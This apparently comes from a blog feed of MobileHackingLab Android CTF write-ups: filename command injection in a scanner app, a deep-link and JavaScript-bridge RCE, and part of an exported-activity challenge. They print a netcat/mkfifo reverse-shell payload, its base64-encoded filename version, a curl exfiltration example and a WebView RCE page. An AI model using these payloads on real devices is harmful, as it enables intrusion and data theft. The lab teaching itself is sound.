            System.out.println(safe ? <span class="hljs-string">"SAFE"</span> : <span class="hljs-string">"INFECTED"</span>);
        }
    }
    System.out.println(<span class="hljs-string">"finished file scan!"</span>);
}
</code></pre>
<p>The service scans all files in <code>/sdcard/</code> (external storage). I checked what <code>ScanEngine.scanFile()</code> does:</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">boolean</span> <span class="hljs-title">scanFile</span><span class="hljs-params">(File file)</span> <span class="hljs-keyword">throws</span> IOException </span>{
    <span class="hljs-keyword">try</span> {
        String command = <span class="hljs-string">"toybox sha1sum "</span> + file.getAbsolutePath();
        Process process = <span class="hljs-keyword">new</span> ProcessBuilder()
            .command(<span class="hljs-string">"sh"</span>, <span class="hljs-string">"-c"</span>, command)
            .directory(Environment.getExternalStorageDirectory())
            .redirectErrorStream(<span class="hljs-keyword">true</span>)
            .start();

        InputStream inputStream = process.getInputStream();
        BufferedReader reader = <span class="hljs-keyword">new</span> BufferedReader(
            <span class="hljs-keyword">new</span> InputStreamReader(inputStream, Charsets.UTF_8)
        );

        String output = reader.readLine();
        String fileHash = output.split(<span class="hljs-string">"  "</span>)[<span class="hljs-number">0</span>];

        <span class="hljs-keyword">return</span> !KNOWN_MALWARE_SAMPLES.containsValue(fileHash);
    } <span class="hljs-keyword">catch</span> (Exception e) {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">false</span>;
    }
}
</code></pre>
<p><strong>As soon as I saw input file being sent to sh -c I understood this is the vulnerability!</strong></p>
<p>The code constructs a shell command by concatenating <code>"toybox sha1sum "</code> with <code>file.getAbsolutePath()</code> without any sanitization. If I control the filename, I can inject arbitrary commands!</p>
<p>The attack chain became clear:</p>
<ol>
<li><p>The app has <code>MANAGE_EXTERNAL_STORAGE</code> permission, that means it can access filesystem</p>
</li>
<li><p>ScanService periodically scans all files in <code>/sdcard/</code></p>
</li>
<li><p><code>scanFile()</code> executes: <code>sh -c "toybox sha1sum /sdcard/&lt;filename&gt;"</code></p>
</li>
<li><p>If the filename contains shell metacharacters like <code>|;&amp;&amp;</code>, I can inject commands!</p>
</li>
</ol>
<p>For example, if I create a file named <code>test.txt;id</code>, the executed command becomes:</p>
<pre><code class="lang-bash">sh -c <span class="hljs-string">"toybox sha1sum /sdcard/test.txt;id"</span>
</code></pre>
<p>This executes TWO commands:</p>
<ol>
<li><p><code>toybox sha1sum /sdcard/test.txt</code></p>
</li>
<li><p><code>id</code></p>
</li>
</ol>
<p>I also wanted to confirm if the scan was actually running. I used <code>adb logcat</code> to monitor the output:</p>
<pre><code class="lang-bash">adb logcat | grep <span class="hljs-string">"System.out"</span>

01-24 07:42:56.375 16078 16188 I System.out: /storage/emulated/0/Pictures/.gs_fs0/.0.jpg...SAFE
01-24 07:42:56.416 16078 16188 I System.out: /storage/emulated/0/Pictures/.gs_fs0/.1.jpg...SAFE
01-24 07:42:56.479 16078 16188 I System.out: starting file scan...
01-24 07:42:56.528 16078 16188 I System.out: finished file scan!
</code></pre>
<p>I needed a way to exfiltrate data, the command would run, but in a real world scenario how would I get back the command output?</p>
<h2 id="heading-the-challenge-getting-command-output">The Challenge - Getting Command Output</h2>
<p>I tried escalating to Remote Code Execution, but faced several challenges:</p>
<h3 id="heading-challenge-1-no-direct-output">Challenge 1: No Direct Output</h3>
<p>The stdout from injected commands wasn't visible to me. I needed to exfiltrate data somehow, in a real world scenario this is ideal.</p>
<h3 id="heading-challenge-2-limited-tools">Challenge 2: Limited Tools</h3>
<p>Android's toybox doesn't include <code>curl</code> or <code>wget</code> for easy HTTP exfiltration otherwise we could have done curl attack.com?val=$(exfil), would have been much simpler but no curl and no wget.</p>
<h3 id="heading-challenge-3-filename-restrictions">Challenge 3: Filename Restrictions</h3>
<p>Some special characters (<code>|</code>, <code>&gt;</code>, <code>&lt;</code>) couldn't be used in filenames due to filesystem restrictions.</p>
<h2 id="heading-setting-up-a-reverse-shell">Setting Up a Reverse Shell</h2>
<p>The app has <code>INTERNET</code> permission, so I decided to use <code>nc</code> (netcat) for a reverse shell.</p>
<p><strong>On my machine:</strong></p>
<pre><code class="lang-bash">nc -lvp 4444
</code></pre>
<p><strong>The payload I wanted to execute:</strong></p>
<pre><code class="lang-bash">rm /tmp/f
mkfifo /tmp/f
cat /tmp/f | sh -i 2&gt;&amp;1 | nc 192.168.0.11 4444 &gt; /tmp/f
</code></pre>
<p>This creates a named pipe for bidirectional communication, giving me an interactive shell.</p>
<h3 id="heading-first-attempt-the-tmp-problem">First Attempt - The /tmp Problem</h3>
<p>I first tested the reverse shell manually via <code>adb shell</code>:</p>
<pre><code class="lang-bash">rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2&gt;&amp;1 | nc 192.168.0.11 4444 &gt; /tmp/f
```

**Error:**
```
mkfifo: /tmp/f: No such file or directory
</code></pre>
<p>The <code>/tmp</code> directory didn't exist on this Android device!</p>
<h3 id="heading-second-attempt-sdcard-restrictions">Second Attempt - /sdcard/ Restrictions</h3>
<p>I tried using <code>/sdcard/</code> instead:</p>
<pre><code class="lang-bash">rm /sdcard/f; mkfifo /sdcard/f; cat /sdcard/f | sh -i 2&gt;&amp;1 | nc 192.168.0.11 4444 &gt; /sdcard/f
```

**Error:**
```
mkfifo: /sdcard/f: Invalid argument
</code></pre>
<p>The <code>/sdcard</code> filesystem doesn't support special files like FIFOs (named pipes)!</p>
<h3 id="heading-the-working-solution-datalocaltmp">The Working Solution - /data/local/tmp</h3>
<p>Finally, I used <code>/data/local/tmp/</code>, which is a standard writable location on Android, I remembered this path because this is where we put the frida server binaries,</p>
<pre><code class="lang-bash">rm /data/<span class="hljs-built_in">local</span>/tmp/f; mkfifo /data/<span class="hljs-built_in">local</span>/tmp/f; cat /data/<span class="hljs-built_in">local</span>/tmp/f | sh -i 2&gt;&amp;1 | nc 192.168.0.11 4444 &gt; /data/<span class="hljs-built_in">local</span>/tmp/f
```

This worked perfectly! I got the shell prompt:
```
Connection received on 192.168.0.13 36092
d2s:/storage/emulated/0 <span class="hljs-comment">#</span>
</code></pre>
<p>Now I just needed to figure out how to put this entire command into a filename.</p>
<h2 id="heading-the-filename-problem">The Filename Problem</h2>
<p>I tried creating the malicious filename directly:</p>
<pre><code class="lang-bash">~/mobilehackinglab ✗ adb shell <span class="hljs-string">'touch "/sdcard/x.txt;rm /data/local/tmp/f;mkfifo /data/local/tmp/f;cat /data/local/tmp/f|sh -i 2&gt;&amp;1|nc 192.168.0.11 4444&gt;/data/
local/tmp/f"'</span>
touch: <span class="hljs-string">'/sdcard/x.txt;rm /data/local/tmp/f;mkfifo /data/local/tmp/f;cat /data/local/tmp/f|sh -i 2&gt;&amp;1|nc 192.168.0.11 4444&gt;/data/local/tmp/f'</span>: No such file or directory
</code></pre>
<h3 id="heading-ia"> </h3>
<p>The Solution - Base64 Encoding</p>
<p>I realized I could bypass filename restrictions by base64-encoding the payload and decoding it at runtime.</p>
<p><strong>Step 1: Encode the payload</strong></p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">'rm /data/local/tmp/f;mkfifo /data/local/tmp/f;cat /data/local/tmp/f|sh -i 2&gt;&amp;1|nc 192.168.0.11 4444&gt;/data/local/tmp/f'</span> | base64
</code></pre>
<p>cm0gL2RhdGEvbG9jYWwvdG1wL2Y7bWtmaWZvIC9kYXRhL2xvY2FsL3RtcC9mO2NhdCAvZGF0YS9sb2NhbC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjguMC4xMSA0NDQ0Pi9kYXRhL2xvY2FsL3RtcC9m</p>
<p>Now creating malicious filename</p>
<pre><code class="lang-bash">adb shell su -c <span class="hljs-string">'touch "/sdcard/x.txt;echo cm0gL2RhdGEvbG9jYWwvdG1wL2Y7bWtmaWZvIC9kYXRhL2xvY2FsL3RtcC9mO2NhdCAvZGF0YS9sb2NhbC90bXAvZnxzaCAtaSAyPiYxfG5jIDE5Mi4xNjguMC4xMSA0NDQ0Pi9kYXRhL2xvY2FsL3RtcC9mCg==|base64 -d|sh"'</span>
</code></pre>
<p>This worked! The filename only contains alphanumeric characters, semicolons, and pipes within the base64 string.</p>
<h2 id="heading-achieving-rce">Achieving RCE</h2>
<p><strong>On my machine:</strong></p>
<p><code>nc -lvp 4444</code></p>
<p><code>Listening on 0.0.0.0 4444</code></p>
<p>I waited for the scanner to run (it scans every 6 seconds based on the code).</p>
<pre><code class="lang-bash">d2s:/ <span class="hljs-comment"># id</span>
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
d2s:/ <span class="hljs-comment"># whoami</span>
root
d2s:/ <span class="hljs-comment"># ls /data/data/com.mobilehackinglab.cyclicscanner</span>
cache
code_cache
files
d2s:/ <span class="hljs-comment">#</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769223145059/47208ee4-4381-488e-b1c6-3e4383386afb.png" alt class="image--center mx-auto" /></p>
<p><strong>SUCCESS! we have a remote shell! 🎉</strong></p>
<h2 id="heading-the-complete-attack-chain">The Complete Attack Chain</h2>
<ol>
<li><p><strong>Vulnerability:</strong> Command injection in <code>ScanEngine.scanFile()</code> via unsanitized filename</p>
</li>
<li><p><strong>Access Vector:</strong> Write malicious file to <code>/sdcard/</code> (accessible to any app with storage permission)</p>
</li>
<li><p><strong>Trigger:</strong> ScanService automatically scans the file within 6 seconds</p>
</li>
<li><p><strong>Payload Delivery:</strong> Base64-encoded reverse shell to bypass filename restrictions</p>
</li>
<li><p><strong>Execution:</strong> Injected command creates a reverse shell using named pipes and netcat</p>
</li>
<li><p><strong>Impact:</strong> Full reverse shell</p>
</li>
</ol>
<h2 id="heading-most-important-takeaway">Most important Takeaway</h2>
<p><strong>Named pipes for reverse shells</strong> - Using <code>mkfifo</code> to create bidirectional communication channels is essential when tools like <code>nc -e</code> aren't available.</p>
<p>Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.</p>
]]></content:encoded></item><item><title><![CDATA[Guess Me; Android Deep Link RCE Challenge Writeup ; MobileHackingLab]]></title><description><![CDATA[Challenge Overview
Challenge Name: Guess Me ; Android Deep Link Challenge
Objective: Exploit a deep link vulnerability in an Android application to achieve Remote Code Execution (RCE)
This CTF styled lab was part of the free android hacking course fr...]]></description><link>https://devandsecurity.com/guess-me-android-deep-link-rce-challenge-writeup-mobilehackinglab</link><guid isPermaLink="true">https://devandsecurity.com/guess-me-android-deep-link-rce-challenge-writeup-mobilehackinglab</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[mobilehackinglab]]></category><dc:creator><![CDATA[dev&security]]></dc:creator><pubDate>Fri, 23 Jan 2026 06:40:51 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-challenge-overview">Challenge Overview</h2>
<p><strong>Challenge Name:</strong> Guess Me ; Android Deep Link Challenge</p>
<p><strong>Objective</strong>: Exploit a deep link vulnerability in an Android application to achieve Remote Code Execution (RCE)</p>
<p>This CTF styled lab was part of the free android hacking course from <a target="_blank" href="http://mobilehackinglab.com">mobilehackinglab.com</a> on exploiting deeplinks and achieving RCE.</p>
<h2 id="heading-manifest-recon">Manifest Recon</h2>
<p>When I first looked at this challenge, I knew I had to to find how the app handles deep links. My initial recon focused on the AndroidManifest.xml file.</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">activity</span>
    <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.mobilehackinglab.guessme.WebviewActivity"</span>
    <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"true"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">intent-filter</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">action</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.action.VIEW"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">category</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.category.DEFAULT"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">category</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.category.BROWSABLE"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">data</span>
            <span class="hljs-attr">android:scheme</span>=<span class="hljs-string">"mhl"</span>
            <span class="hljs-attr">android:host</span>=<span class="hljs-string">"mobilehackinglab"</span>/&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">intent-filter</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">activity</span>&gt;</span>
</code></pre>
<p>What this tells me is:</p>
<ul>
<li><p>The WebviewActivity is exported</p>
</li>
<li><p>It accepts deep links with the scheme <code>mhl://mobilehackinglab</code></p>
</li>
</ul>
<h2 id="heading-analyzing-the-webviewactivity">Analyzing the WebviewActivity</h2>
<p>I decompiled the APK and examined the WebviewActivity class. The onCreate method had two interesting function calls at the end:</p>
<ul>
<li><p>loadAssetIndex() - loads a local HTML file</p>
</li>
<li><p>handleDeepLink(getIntent()) - processes incoming deep links</p>
</li>
</ul>
<p>The loadAssetIndex() function seemed like a honeypot, just loading <a target="_blank">file:///android_asset/index.html</a>. I spent a good time thinking this could be the entrypoint. But yes it was likely a honeypot.</p>
<p>The real action was in <code>handleDeepLink()</code></p>
<h2 id="heading-understanding-deep-link-validation">Understanding Deep Link Validation</h2>
<p>The <code>handleDeepLink()</code> function was one critical piece:</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">void</span> <span class="hljs-title">handleDeepLink</span><span class="hljs-params">(Intent intent)</span> </span>{
    Uri uri = intent != <span class="hljs-keyword">null</span> ? intent.getData() : <span class="hljs-keyword">null</span>;
    <span class="hljs-keyword">if</span> (uri != <span class="hljs-keyword">null</span>) {
        <span class="hljs-keyword">if</span> (isValidDeepLink(uri)) {
            loadDeepLink(uri);
        } <span class="hljs-keyword">else</span> {
            loadAssetIndex();
        }
    }
}
</code></pre>
<p>It validates the deep link and either loads it or falls back to the local asset. Because we know the above local asset was likely a honeypot, lets focus on <code>isValidDeepLink()</code></p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">boolean</span> <span class="hljs-title">isValidDeepLink</span><span class="hljs-params">(Uri uri)</span> </span>{
    <span class="hljs-keyword">if</span> ((!Intrinsics.areEqual(uri.getScheme(), <span class="hljs-string">"mhl"</span>) &amp;&amp; 
         !Intrinsics.areEqual(uri.getScheme(), <span class="hljs-string">"https"</span>)) || 
        !Intrinsics.areEqual(uri.getHost(), <span class="hljs-string">"mobilehackinglab"</span>)) {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">false</span>;
    }
    String queryParameter = uri.getQueryParameter(<span class="hljs-string">"url"</span>);
    <span class="hljs-keyword">return</span> queryParameter != <span class="hljs-keyword">null</span> &amp;&amp; 
           StringsKt.endsWith$<span class="hljs-keyword">default</span>(queryParameter, <span class="hljs-string">"mobilehackinglab.com"</span>, <span class="hljs-keyword">false</span>, <span class="hljs-number">2</span>, (Object) <span class="hljs-keyword">null</span>);
}
</code></pre>
<p>If you observe this function, it accepts certain format for the deeplink schema and returns <code>True</code> if it meets the requirements.</p>
<p><strong>Validation Requirements:</strong></p>
<ol>
<li><p>Scheme must be <code>mhl</code> OR <code>https</code></p>
</li>
<li><p>Host must be <code>mobilehackinglab</code></p>
</li>
<li><p>Must have a <code>url</code> query parameter</p>
</li>
<li><p>The <code>url</code> parameter must <strong>end with</strong> <a target="_blank" href="http://mobilehackinglab.com"><code>mobilehackinglab.com</code></a> (This is a very critical piece later during exploitation)</p>
</li>
</ol>
<p>These are some of the valid deeplinks this function accepts</p>
<pre><code class="lang-plaintext">mhl://mobilehackinglab/?url=mobilehackinglab.com
mhl://mobilehackinglab/?url=testmobilehackinglab.com
mhl://mobilehackinglab/?url=test.mobilehackinglab.com
mhl://mobilehackinglab/?url=example.com?mobilehackinglab.com
</code></pre>
<p>All of these are accepted due to <strong>endsWith</strong></p>
<p>You could open the WebView with this <code>adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d "mhl://mobilehackinglab/?url=mobilehackinglab.com</code> and you can see the webview with mobilehackinglab page.</p>
<p>The validation only checks if the URL ends with <a target="_blank" href="http://mobilehackinglab.com">mobilehackinglab.com</a>, not if it is <a target="_blank" href="http://mobilehackinglab.com">mobilehackinglab.com</a>. This is a classic bypass opportunity for us!</p>
<p>I was stuck here for a while now what next?</p>
<h2 id="heading-the-aha-moment">The "Aha!" Moment</h2>
<p>While analyzing the <code>WebviewActivity</code>, I noticed something critical in the <code>onCreate</code> method:</p>
<pre><code class="lang-java">webView3.addJavascriptInterface(<span class="hljs-keyword">new</span> MyJavaScriptInterface(), <span class="hljs-string">"AndroidBridge"</span>);
</code></pre>
<p>JavaScript is enabled, and there was a custom interface exposed</p>
<pre><code class="lang-java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MyJavaScriptInterface</span> </span>{
    <span class="hljs-meta">@JavascriptInterface</span>
    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">void</span> <span class="hljs-title">loadWebsite</span><span class="hljs-params">(String url)</span> </span>{
        <span class="hljs-comment">// loads a URL in the webview</span>
    }

    <span class="hljs-meta">@JavascriptInterface</span>
    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> String <span class="hljs-title">getTime</span><span class="hljs-params">(String Time)</span> <span class="hljs-keyword">throws</span> IOException </span>{
        <span class="hljs-keyword">try</span> {
            Process process = Runtime.getRuntime().exec(Time);
            InputStream inputStream = process.getInputStream();
            <span class="hljs-comment">// ... reads output ...</span>
            <span class="hljs-keyword">return</span> text;
        } <span class="hljs-keyword">catch</span> (Exception e) {
            <span class="hljs-keyword">return</span> <span class="hljs-string">"Error getting time"</span>;
        }
    }
}
</code></pre>
<h2 id="heading-wait-what"><strong>WAIT, WHAT?!</strong></h2>
<p>The <code>getTime()</code> method takes user input and passes it directly to <code>Runtime.getRuntime().exec()</code>! This is <strong>command injection</strong>! Anytime you see where user input lands into exec, you know its going to be fun!</p>
<h2 id="heading-connecting-the-dots-the-attack-chain">Connecting the Dots - The Attack Chain</h2>
<p>Now I had all the pieces:</p>
<ol>
<li><p>I can trigger a deep link to load a URL I control (with validation bypass)</p>
</li>
<li><p>That URL loads in a WebView with JavaScript enabled</p>
</li>
<li><p>JavaScript can access <code>AndroidBridge.getTime(command)</code></p>
</li>
<li><p><code>getTime()</code> executes arbitrary system commands!</p>
</li>
</ol>
<p><em>Malicious Deep Link → Load Our Payload Webpage → JavaScript calls AndroidBridge.getTime("command") → RCE!</em></p>
<h2 id="heading-crafting-the-exploit">Crafting the Exploit</h2>
<p><strong>Challenge:</strong> How do I control the loaded URL while satisfying the validation?</p>
<p>The validation checks if the <code>url</code> parameter ends with <a target="_blank" href="http://mobilehackinglab.com"><code>mobilehackinglab.com</code></a>. I can use URL query parameters or could use #</p>
<p>You can observe that the google.com is rendered because its a valid scheme accepted by the app because it also ends with mobilehackinglab.com</p>
<pre><code class="lang-bash">adb shell am start -a android.intent.action.VIEW -c android.intent.category.BROWSABLE -d <span class="hljs-string">"mhl://mobilehackinglab/?url=google.com/search?q=mobilehackinglab.com"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769149715384/582964f3-ac5b-4e77-af06-61c39c93e078.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-bypass-technique"><strong>Bypass Technique:</strong></h3>
<pre><code class="lang-bash">https://redacted.com?whatever=mobilehackinglab.com
</code></pre>
<p>This URL:</p>
<ul>
<li><p>Ends with <a target="_blank" href="http://mobilehackinglab.com"><code>mobilehackinglab.com</code></a></p>
</li>
<li><p>Loads content from redacted.com when passed to <code>webView.loadUrl()</code></p>
</li>
<li><p>This will meet all the criteria and load the page</p>
</li>
</ul>
<p>I created a very basic POC to begin with,</p>
<pre><code class="lang-bash">&lt;html&gt;
&lt;body onload=<span class="hljs-string">"alert(1)"</span>&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>Hosted it using Python:</p>
<pre><code class="lang-bash">python3 -m http.server 8000
ngrok http 8000
</code></pre>
<h3 id="heading-basic-poc-test">Basic Poc Test</h3>
<pre><code class="lang-bash">adb shell am start -a android.intent.action.VIEW \
  -c android.intent.category.BROWSABLE \
  -d <span class="hljs-string">"mhl://mobilehackinglab?url=https://e42d280f9baf.ngrok-free.app?qry=mobilehackinglab.com"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769149933471/fad25ecc-7a34-4de3-87fb-f115ec3a9b99.png" alt class="image--center mx-auto" /></p>
<p>You can see that js functions are executing! Which is a solid win, now lets focus on exploiting this in real world scenario.</p>
<h3 id="heading-setting-up-my-malicious-server"><strong>Setting Up My Malicious Server</strong></h3>
<p>Now that we know js is being executed, lets execute some commands to see if rce is possible, now if you remember the interface, it was AndroidBridge and the function that was accepting custom user input was getTime, hence we use <code>AndroidBridge.getTime("command")</code></p>
<p>I created a simple HTML payload:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
            <span class="hljs-keyword">var</span> output = AndroidBridge.getTime(<span class="hljs-string">"ls"</span>);
            alert(output);
        </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>Same hosted using python and ngrok</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769150138493/904b29a5-5d22-404a-9201-8b4dcbb56142.png" alt class="image--center mx-auto" /></p>
<p>When I triggered the deep link, the WebView loaded my malicious page, the JavaScript executed, and I got an alert showing the output of the <code>ls</code> command, the entire Android filesystem!</p>
<p>Rce was achieved :party:</p>
<h2 id="heading-concepts-and-further-reads">Concepts and Further reads</h2>
<p><code>addJavascriptInterface()</code> is an Android WebView API that exposes Java/Kotlin methods to JavaScript code running in the web page. This creates a bridge between web content and native Android functionality. <strong>If not properly secured, it allows malicious JavaScript to call sensitive Android APIs or, in this case, execute system commands.</strong></p>
<ul>
<li><p><a target="_blank" href="https://www.vaadata.com/blog/what-are-deep-links-vulnerabilities-attacks-and-security-best-practices/">Basic Deeplink Introduction</a></p>
</li>
<li><p><a target="_blank" href="https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-i-452e8aad124f">Deep Links &amp; WebViews Exploitations</a></p>
</li>
<li><p><a target="_blank" href="https://support.google.com/faqs/answer/9095419?hl=en">Remediation for Javascript Interface Injection</a></p>
</li>
</ul>
<p><em>Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.</em></p>
]]></content:encoded></item><item><title><![CDATA[MobileHackingLab: Strings Challenge (Exploiting Exported Android Activities)]]></title><description><![CDATA[This CTF styled lab was part of the free android hacking course from mobilehackinglab.com on exploiting the exported android activities.
I installed the app on my test phone and there was literally nothing on the ui just a text saying “Hello from C++...]]></description><link>https://devandsecurity.com/mobilehackinglab-strings-challenge-exploiting-exported-android-activities</link><guid isPermaLink="true">https://devandsecurity.com/mobilehackinglab-strings-challenge-exploiting-exported-android-activities</guid><category><![CDATA[mobilehackinglab]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[dev&security]]></dc:creator><pubDate>Thu, 22 Jan 2026 09:17:36 GMT</pubDate><content:encoded><![CDATA[<p>This CTF styled lab was part of the free android hacking course from <a target="_blank" href="https://www.mobilehackinglab.com/course/free-android-application-security-course">mobilehackinglab.com</a> on exploiting the exported android activities.</p>
<p>I installed the app on my test phone and there was literally nothing on the ui just a text saying “Hello from C++”.</p>
<h2 id="heading-the-initial-recon">The Initial Recon</h2>
<p>The next phase was to start with recon, using jadx-gui, I opened the apk and checked the manifest file,<br />There were 2 activities that were exported=”true” but one caught my attention</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">activity</span>
    <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.mobilehackinglab.challenge.Activity2"</span>
    <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"true"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">intent-filter</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">action</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.action.VIEW"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">category</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.category.DEFAULT"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">category</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.category.BROWSABLE"</span>/&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">data</span>
            <span class="hljs-attr">android:scheme</span>=<span class="hljs-string">"mhl"</span>
            <span class="hljs-attr">android:host</span>=<span class="hljs-string">"labs"</span>/&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">intent-filter</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">activity</span>&gt;</span>
</code></pre>
<p>This activity is exported but also has defined uri schema hence it accepts the deeplink with <code>mhl://labs</code> URI scheme. This looked like an entry point to me.</p>
<p>Any exported activities like this, can be started using <code>adb shell am start com.mobilehackinglab.challenge/.Activity2</code></p>
<p>But because it has uri schema, we could open the activity by simply passing the deeplink <code>adb shell am start -a android.intent.action.VIEW -d "mhl://labs/"</code></p>
<p>I opened the activity using this deeplink, but the activity closes almost immediately.</p>
<h2 id="heading-diving-into-activity2">Diving Into Activity2</h2>
<p>Using jadx, I started going through Activity2's onCreate method, I would recommend reading <a target="_blank" href="https://developer.android.com/guide/components/activities/activity-lifecycle">Android Activity lifecycle</a> which will give you a clear view of when onCreate() methods are executed during an activity. Understanding the lifecycle flow will help you quickly find out the entry point of the application.</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">protected</span> <span class="hljs-keyword">void</span> <span class="hljs-title">onCreate</span><span class="hljs-params">(Bundle savedInstanceState)</span> <span class="hljs-keyword">throws</span> BadPaddingException, NoSuchPaddingException, IllegalBlockSizeException, NoSuchAlgorithmException, InvalidKeyException, InvalidAlgorithmParameterException </span>{
        <span class="hljs-keyword">super</span>.onCreate(savedInstanceState);
        setContentView(R.layout.activity_2);
        SharedPreferences sharedPreferences = getSharedPreferences(<span class="hljs-string">"DAD4"</span>, <span class="hljs-number">0</span>);
        String u_1 = sharedPreferences.getString(<span class="hljs-string">"UUU0133"</span>, <span class="hljs-keyword">null</span>);
        <span class="hljs-keyword">boolean</span> isActionView = Intrinsics.areEqual(getIntent().getAction(), <span class="hljs-string">"android.intent.action.VIEW"</span>);
        <span class="hljs-keyword">boolean</span> isU1Matching = Intrinsics.areEqual(u_1, cd());
        <span class="hljs-keyword">if</span> (isActionView &amp;&amp; isU1Matching) {
            <span class="hljs-comment">// core logic redacted</span>
            }
            finishAffinity();
            finish();
            System.exit(<span class="hljs-number">0</span>);
            <span class="hljs-keyword">return</span>;
        }
        finishAffinity();
        finish();
        System.exit(<span class="hljs-number">0</span>);
    }
</code></pre>
<p>The most important thing here is the if condition - when it's not true, the app calls <code>finishAffinity()</code> and <code>System.exit(0)</code>, which is exactly what happens when you open the activity.</p>
<p>Here's where things seemed exciting to me:</p>
<pre><code class="lang-java">SharedPreferences sharedPreferences = getSharedPreferences(<span class="hljs-string">"DAD4"</span>, <span class="hljs-number">0</span>);
String u_1 = sharedPreferences.getString(<span class="hljs-string">"UUU0133"</span>, <span class="hljs-keyword">null</span>);
<span class="hljs-keyword">boolean</span> isActionView = Intrinsics.areEqual(getIntent().getAction(), <span class="hljs-string">"android.intent.action.VIEW"</span>);
<span class="hljs-keyword">boolean</span> isU1Matching = Intrinsics.areEqual(u_1, cd());
</code></pre>
<p>If you have done android app development before, SharedPreferences is Android's key-value storage for saving small amounts of primitive data (strings, ints, booleans) that persists across app sessions.<br />Here, it is trying to retrieve a string value stored under the key "UUU0133" from a preferences file named "DAD4" (returns null if not found).</p>
<p>Immediately I went inside the device shell looked into this path <code>/data/data/com.mobilehackinglab.challenge/shared_prefs</code> to see if there are any SharedPreferences file, the filename should be DAD4.xml as evident from the code above. Unfortunately there were none.</p>
<p>This statement</p>
<pre><code class="lang-java"><span class="hljs-keyword">boolean</span> isActionView = Intrinsics.areEqual(getIntent().getAction(), <span class="hljs-string">"android.intent.action.VIEW"</span>);
<span class="hljs-keyword">boolean</span> isU1Matching = Intrinsics.areEqual(u_1, cd());
</code></pre>
<ul>
<li><p><strong>First line</strong> is doing checks if the app was launched via a VIEW intent, <strong>this means the deeplink should be opened with the action VIEW,</strong> <code>-a android.intent.action.VIEW</code>, which we were already doing</p>
</li>
<li><p>The second statement, is troublesome, if you check it is comparing the values of u_1 from SharedPreferences with the return value of cd().<br />  The second statement compares the value of u_1 from SharedPreferences with the return value of cd(). For isU1Matching to be true, both values need to be equal. Since u_1 is currently null and cd() returns today's date, they don't match and the condition fails.</p>
</li>
